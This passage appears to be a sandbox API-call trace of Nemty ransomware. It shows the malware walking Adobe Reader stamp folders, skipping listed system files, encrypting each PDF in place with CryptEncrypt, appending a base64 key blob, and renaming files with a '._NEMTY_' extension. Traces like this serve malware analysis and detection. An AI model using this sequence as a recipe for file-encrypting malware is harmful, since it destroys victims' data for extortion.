lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0187.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.794] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0187.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0187.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0187.795] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c339, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0187.795] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0187.796] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0187.796] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0187.796] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.796] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0187.796] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0187.796] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0187.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0187.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0187.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0187.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0187.796] Sleep (dwMilliseconds=0x5) [0187.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23968e50, dwHighDateTime=0x1d561e8)) [0187.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23968e50, dwHighDateTime=0x1d561e8)) [0187.806] GetLastError () returned 0x0 [0187.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.806] GetLastError () returned 0x0 [0187.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.806] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.807] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.807] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0187.807] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="lYioK39zQr3LeWdTSVcxXO/jQmK9YoMVDfOeWBUjwTtYNnMzfOQy9+kODHLHMi9J\r\nFdpF1imk/9hPJvv8VobXLUERa+1YiCeWWby3YdyreB82iuQRMx4TaF90PE1LXkt2\r\nL/SR7YPNOx0u/r6VrT262YL0AN1mMLndg9cOGj9IFM9iut6RtjRBkjyLCMZc4Kdd\r\n6TItbS/xctdvR62U/TKjYOxsa86k77kTWVfFVWmrrhXZ4ftQWKV+L3gFFc4WgNW6\r\n4j0BM5UDmFJ+DYNv1pp5xrTir0PdADRsCQ8YAC7ycR0cOLhknPMUqlrHm+tV+aDs\r\nTXRIopu6bC79FJFe38g3mg==\r\n", pcchString=0x653df5c) returned 1 [0187.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0187.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.807] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=181049) returned 1 [0187.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0187.807] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.807] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0187.833] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.833] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0187.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.833] SetFilePointer (in: hFile=0x320, lDistanceToMove=181049, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c339 [0187.833] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.833] CloseHandle (hObject=0x320) returned 1 [0187.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0187.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0187.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.834] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf._nemty_kgobjgd_")) returned 1 [0187.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0187.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0187.834] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c7a, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0187.834] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0187.834] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0187.834] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0187.835] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0187.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0187.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0187.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404f8 [0187.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0187.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0187.836] Sleep (dwMilliseconds=0x5) [0187.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x239b5110, dwHighDateTime=0x1d561e8)) [0187.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x239b5110, dwHighDateTime=0x1d561e8)) [0187.843] GetLastError () returned 0x0 [0187.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.843] GetLastError () returned 0x0 [0187.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0187.843] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.843] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.844] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0187.844] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="B4yx8i8CxCRE3vjrEdb/jW2L8dzHyxtPr2APejyLgGnC0PRnGv7JFx9ASU019pyf\r\n0IkxHlM2oxpJH63zkL+8V7TEzIxWGq8zwBYbCbq68pDB9BBd6KC2dU+mmHgeGkBh\r\nclI6iehjXoPJXhG9aIW4AHuL8P4G622ZwibZ9bsf950sSFZIGivGc8vA1MWpINdY\r\nIlBihurlvXAORBbXEEZgKNjxovD8ct90UAPDQ6u5wHxcDW9WNib3C5bO/FavcV0q\r\nByhkTqK7URTIiWQglsyIiveg+891rIZ/n/hYLBGrC5BdIuyE6vU6SR/NYKyPP0TG\r\nM0zAI3dN1qe3VW8dUqGKaw==\r\n", pcchString=0x653df5c) returned 1 [0187.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0187.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0187.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0187.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.844] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=89210) returned 1 [0187.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x15c70) returned 0x6352c48 [0187.844] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 